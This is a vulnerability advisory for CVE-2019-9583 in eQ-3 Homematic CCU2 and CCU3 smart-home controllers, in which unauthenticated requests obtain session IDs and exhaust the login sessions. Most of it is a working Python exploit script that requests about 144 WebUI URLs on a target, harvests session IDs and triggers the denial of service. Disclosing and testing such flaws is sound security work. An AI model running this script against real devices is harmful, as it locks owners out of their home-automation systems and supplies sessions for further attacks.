CVE-2019-9583 eQ-3 Homematic CCU2 and CCU3 obtain session IDs without login. This allows a Denial of Service and is a starting point for other attacks

Overview

  • CVE: CVE-2019-9583
  • Author: psytester
  • Title: eQ-3 Homematic CCU2 and CCU3 obtain session IDs without login. This allows a Denial of Service and is a starting point for other attacks
  • Vulnerability Type: CWE-400 Uncontrolled Resource Consumption
  • CVSSv3 Base Score: 8.2
  • CVSSv3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
  • Publishing Date: 25.07.2019
  • Updated: –
  • Vendor: eQ-3 AG
  • Product: Homematic CCU2 and CCU3
  • Vendor contacted: 07.05.2019
  • Vendor confirmation: N.A.
  • Vendor patch: Just partly fixed since 2.47.10 & 3.47.10
  • Vendor Reference: [HMCCU-274] in changelog of CCU2 and CCU3
  • Affected Firmware version of CCU2: 2.35.16, 2.41.5, 2.41.8, 2.41.9, 2.45.6, 2.45.7, 2.47.10, 2.47.12, 2.47.15 tested
  • Affected Firmware version of CCU3: 3.41.11, 3.43.16, 3.45.5, 3.45.7, 3.47.10, 3.47.15 tested

Background

From vendor’s website for CCU2:
HomeMatic Central Control Unit CCU2

Homematic Central Control Unit is the central element of your Homematic system, offering a whole range of control, monitoring and configuration options for all the Homematic devices in your installation
[….]

From vendor’s website for CCU3:
The Central Control Unit CCU3 is the central element for local control of the Homematic IP smart home system. It represents the next generation of our proven Homematic Central Control Units CCU1 and CCU2. Operation via the Central Control Unit CCU3 can be used alternatively to the Homematic IP Access Point. While the Access Point establishes the connection to the free Homematic IP cloud and enables operation of the smart home system via a smartphone app, the Central Control Unit CCU3 works locally via a browser-based web interface (WebUI). Thanks to local configuration and operation as well as the option to create direct device connections, reliable and fail-proof operation of the smart home system is guaranteed at all times – even in the event of Internet failures.
[….]

Past eQ-3 press release about taking security updates seriously (in German only):
[…]
eQ-3 ist es wichtig, dass auch solche Lücken geschlossen werden, die für die meisten Installationen keine Rolle spielen.
[…]
Obwohl nur Nutzer betroffen sind, die gegen Sicherheitshinweise von eQ-3 verstoßen oder seit mehreren Jahren keine Sicherheitsupdates installiert haben, gibt eQ-3 solchen Fällen hohe Priorität und behebt entsprechende Sicherheitslücken schnellstmöglich nach Bekanntwerden in neuen Software-Versionen und Hotfixes.
[…]

Issue Description

While analyzing the CCU web interface based on given page files in file system path /www, an Improper Access Control resulting into Uncontrolled Resource Consumption vulnerability has been identified, which can be exploited in order to start a Denial of Service at the WebUI login page or to use the session data for further attacks. This vulnerability can be exploited by unauthenticated attackers with access to the web interface.

The following simple HTTP request (fixed since Firmware 2.47.10 / 3.47.10) in Web Browser illustrates the attack:

http://1.2.3.4/esp/system.htm

Response of the Homematic system under attack is a redirect to the login page with a sessionID “sid” as query parameter between the @ sign:

http://1.2.3.4/login.htm?sid=@ceC60O5M9F@

But there are still enough vulnerable pages.

The following python script checks which URLs are proofed to be vulnerable and detects the denial of service condition at 10 simultanious sessions. It waits 5 minutes that those sessions are cleared again and processes the remaining URLs.
checkSidGeneration.py:

#! /usr/bin/python3

# Exploit Title: Homematic CCU2 and CCU3 WebUI Login Session generation and Denial Of Service detector
# Date: 15.05.2019
# Update: 24.07.2019
# Exploit Author: psytester
# Vendor Homepage: https://www.eq-3.de
# Software Link: https://www.eq-3.de/service/downloads.html
# CCU2 Version: <= 2.45.7
# CCU3 Version: <= 3.45.7
# CCU2 Version: since 2.47.10 & 2.47.12 just partly fixed for the first 15 pages, but pages below /rega/pages/ are still generating a SessionID
# CCU3 Version: since 3.47.10 just partly fixed for the first 15 pages, but pages below /rega/pages/ are still generating a SessionID
# The OCCU opensource variants are affected too!
# CVE : CVE-2019-9583

# Description: https://psytester.github.io/CVE-2019-9583
# Most URLs of 144 overall checked URLs are producing a temp. sessionID
# First impact: Those URLs can be used by calling 10 times to generate a Denial of Service at regular WebUI login page.
#     No login possible because of "Zuviele gleichzeitige Verbindungen"
# Second impact: Those sessionIDs are usable for attack described in other CVEs


import http.client
import time
import os

host = '1.2.3.4'
port = 80

# on target machine search all *.htm and *.cgi pages served by the system
# and put those URLs (without the '/wwww') into the list below
# find /www -name "*.htm"
# find /www -name "*.html"
# find /www -name "*.cgi"
# Notice! pages located in /rega/ are finally served by ReGa process and in URI without "/rega" prefix - Those are the vulnerable pages :-)

allURIs = ('/ise/htm/header.htm', \
'/rega/licenseinfo.htm', \
'/rega/index.htm', \
'/rega/logout.htm', \
'/rega/esp/side.htm', \
'/rega/esp/programs.htm', \
'/rega/esp/sico.htm', \
'/rega/esp/rooms.htm', \
'/rega/esp/devices.htm', \
'/rega/esp/favorites.htm', \
'/rega/esp/exec.htm', \
'/rega/esp/datapointconfigurator.htm', \
'/rega/esp/system.htm', \
'/rega/esp/channels.htm', \
'/rega/esp/functions.htm', \
'/rega/pages/index.htm', \
'/rega/pages/tabs/guest/startpageguest.htm', \
'/rega/pages/tabs/user/userFirstStart.htm', \
'/rega/pages/tabs/user/newFav.htm', \
'/rega/pages/tabs/user/favOverview.htm', \
'/rega/pages/tabs/user/userAdministrationUser.htm', \
'/rega/pages/tabs/user/systemConfigUser.htm', \
'/rega/pages/tabs/statusviews/alarmMessages.htm', \
'/rega/pages/tabs/statusviews/serviceMessages.htm', \
'/rega/pages/tabs/favViewer.htm', \
'/rega/pages/tabs/favorites.htm', \
'/rega/pages/tabs/control/sysvars.htm', \
'/rega/pages/tabs/control/hroomchannels.htm', \
'/rega/pages/tabs/control/programs.htm', \
'/rega/pages/tabs/control/systemProtocolLoader.htm', \
'/rega/pages/tabs/control/hfuncchannels.htm', \
'/rega/pages/tabs/control/rooms.htm', \
'/rega/pages/tabs/control/devices.htm', \
'/rega/pages/tabs/control/systemProtocol.htm', \
'/rega/pages/tabs/control/hdevichannels.htm', \
'/rega/pages/tabs/control/functions.htm', \
'/rega/pages/tabs/admin/systemvars.htm', \
'/rega/pages/tabs/admin/systemconfig.htm', \
'/rega/pages/tabs/admin/userAdministration.htm', \
'/rega/pages/tabs/admin/msg/timemodule.htm', \
'/rega/pages/tabs/admin/msg/newSysVar.htm', \
'/rega/pages/tabs/admin/views/functionchannels.htm', \
'/rega/pages/tabs/admin/views/programlist.htm', \
'/rega/pages/tabs/admin/views/newdevices.htm', \
'/rega/pages/tabs/admin/views/programs.htm', \
'/rega/pages/tabs/admin/views/newDeviceLoader.htm', \
'/rega/pages/tabs/admin/views/rooms.htm', \
'/rega/pages/tabs/admin/views/newdevicechannels.htm', \
'/rega/pages/tabs/admin/views/roomchannels.htm', \
'/rega/pages/tabs/admin/views/newdevicechannelsloader.htm', \
'/rega/pages/tabs/admin/views/functions.htm', \
'/rega/pages/tabs/admin/linkprog.htm', \
'/rega/pages/tabs/admin/adminFirstStart.htm', \
'/rega/pages/tabs/control.htm', \
'/rega/pages/tabs/startpage.htm', \
'/rega/pages/msg/asir_setAlarm.htm', \
'/rega/pages/msg/setWTHControlAndSetPointTemperatureMode.htm', \
'/rega/pages/msg/statusinfoWarning.htm', \
'/rega/pages/msg/editScript.htm', \
'/rega/pages/msg/delSysVariable.htm', \
'/rega/pages/msg/autoLoginConfig.htm', \
'/rega/pages/msg/setRGBWController.htm', \
'/rega/pages/msg/securityFirstStart_tr.htm', \
'/rega/pages/msg/securityFirstStart_en.htm', \
'/rega/pages/msg/sysVarsArray.htm', \
'/rega/pages/msg/userAccountConfigUser.htm', \
'/rega/pages/msg/setVIR_LG_RGBWController.htm', \
'/rega/pages/msg/insertValue.htm', \
'/rega/pages/msg/statusinfo.htm', \
'/rega/pages/msg/setStatusDisplay.htm', \
'/rega/pages/msg/createScript.htm', \
'/rega/pages/msg/popupTransEditor.htm', \
'/rega/pages/msg/programChooser.htm', \
'/rega/pages/msg/insertString.htm', \
'/rega/pages/msg/sysVarsSelection.htm', \
'/rega/pages/msg/userAccountConfigAdmin.htm', \
'/rega/pages/msg/chnListBody.htm', \
'/rega/pages/msg/sysVarsArrayAll.htm', \
'/rega/pages/msg/popupPropEditor.htm', \
'/rega/pages/msg/renameDevice.htm', \
'/rega/pages/msg/setPartyMode.htm', \
'/rega/pages/msg/setValueRange.htm', \
'/rega/pages/msg/chooseOULED16.htm', \
'/rega/pages/msg/askRenameAllChannels.htm', \
'/rega/pages/msg/setOUCFMMode.htm', \
'/rega/pages/msg/setVIR_LG_WHITEController.htm', \
'/rega/pages/msg/channelList.htm', \
'/rega/pages/msg/programChooserArray.htm', \
'/rega/pages/msg/controls.htm', \
'/rega/pages/msg/securityFirstStart_de.htm', \
'/rega/pages/msg/setJalousieActor.htm', \
'/rega/login.htm', \
'/rega/help.htm', \
'/rega/NoAjaxBrowser.htm', \
'/tcl/eq3_old/verifysid.cgi', \
'/tools/devconfig.cgi', \
'/tools/js/jsDevDescr.cgi', \
'/ise/checkrega.cgi', \
'/webui/style.cgi', \
'/verifysid.cgi', \
'/pda/main.cgi', \
'/pda/favlist.cgi', \
'/pda/index.cgi', \
'/pda/fav.cgi', \
'/pda/logout.cgi', \
'/api/homematic.cgi', \
'/api/backup/links.cgi', \
'/api/backup/textfile.cgi', \
'/api/backup/tarfile.cgi', \
'/api/backup/version.cgi', \
'/api/backup/login.cgi', \
'/api/backup/paramset.cgi', \
'/api/backup/binfile.cgi', \
'/api/backup/logout.cgi', \
'/api/backup/run-script.cgi', \
'/config/cp_software.cgi', \
'/config/ic_easymode.cgi', \
'/config/st_values.cgi', \
'/config/ic_ifacecmd.cgi', \
'/config/ic_linkpeerlist.cgi', \
'/config/cp_add_device.cgi', \
'/config/cp_time.cgi', \
'/config/control_panel.cgi', \
'/config/ic_selchannel.cgi', \
'/config/ic_deviceFirmwareOverview.cgi', \
'/config/cp_maintenance.cgi', \
'/config/display/datetime.cgi', \
'/config/display/newdevice.cgi', \
'/config/display/network.cgi', \
'/config/display/countdevices.cgi', \
'/config/display/hss_index.cgi', \
'/config/display/display.cgi', \
'/config/cp_security.cgi', \
'/config/verifysid.cgi', \
'/config/help.cgi', \
'/config/ic_seldevice.cgi', \
'/config/cp_display.cgi', \
'/config/ic_deviceparameters.cgi', \
'/config/ic_neweasymode.cgi', \
'/config/cp_network.cgi', \
'/config/ic_setprofiles.cgi', \
'/config/ic_md.cgi', \
'/upnp/index.cgi', \
'/upnp/basic_dev.cgi')


print('Will check against target http://{}:{} now'.format(host, port))
for uri in allURIs:
	#print('Trying URI {}'.format(uri))
	print('{} of {}'.format(allURIs.index(uri), len(allURIs)))
	uri = uri.replace("/rega", "")

	HaveToRetry = True
	while HaveToRetry:
		connection = http.client.HTTPConnection(host, port, timeout=2)
		connection.request('GET', uri)
		response = connection.getresponse()
		#print('{} {} - a response on a GET request by using "http.client"'.format(response.status, response.reason))
		try:
			content = response.read().decode('utf-8')
			#print(content[:100], '...')
	
			#if (response.status == 404):
			# try to find the representing target URI by cutting the prefix
			#	print('This URI was not found, real URI could be {}'.format("/"+"/".join(uri.split("/")[2:])))
	
			if ("Zuviele gleichzeitige Verbindungen" not in content):
				location = response.getheader('Location')
				if (location is not None):
					if ("sid" in location):
						sessionid=location.split("sid=")[1]
						print('Strike! HTTP GET on URL \'{}\' got back HTTP {} with a sessionID = \'{}\' in HTTP Header Location: {}'.format(uri, response.status, sessionid.replace("@", ""), location))
				#else:
					#print('Nothing. HTTP GET on URL \'{}\' got back HTTP {} without HTTP Header Location'.format(uri, response.status))
				HaveToRetry = False
				break
			else:
				HaveToRetry = True
				print('\tWe have to wait up to 5 minutes to clean the session list and this URL will be rechecked again! Because HTTP GET on URL \'{}\' catched HTTP {} with "Zuviele gleichzeitige Verbindungen"'.format(uri, response.status))
				time.sleep(300)
		except:
			pass
			# This was seen on some page calls. We do not need them in our URL check
			#print('Skipped response checking, because could not decode HTTP response as utf-8')
			HaveToRetry = False
			break

print('Finished')

CVE

CVE-2019-9583

CVSSv3 Base Score

CVSSv3 Base Score: 8.2

CVSSv3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

Credit

psytester

Not owning an original CCU2 or CCU3, but you want to analyze the CCU ‘for free’?
You can download
piVCCU for running the original CCU3 Firmware in lxc container on RaspberryPi
RaspberryMatic for running the opensource OCCU based release on different boards

Disclaimer

The information provided is released “as is” without warranty of any kind. The publisher disclaims all warranties, either express or implied, including all warranties of merchantability. No responsibility is taken for the correctness of this information. In no event shall the publisher be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the publisher has been advised of the possibility of such damages.

The contents of this advisory are copyright (c) 2019 by psytester and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

Written on July 25, 2019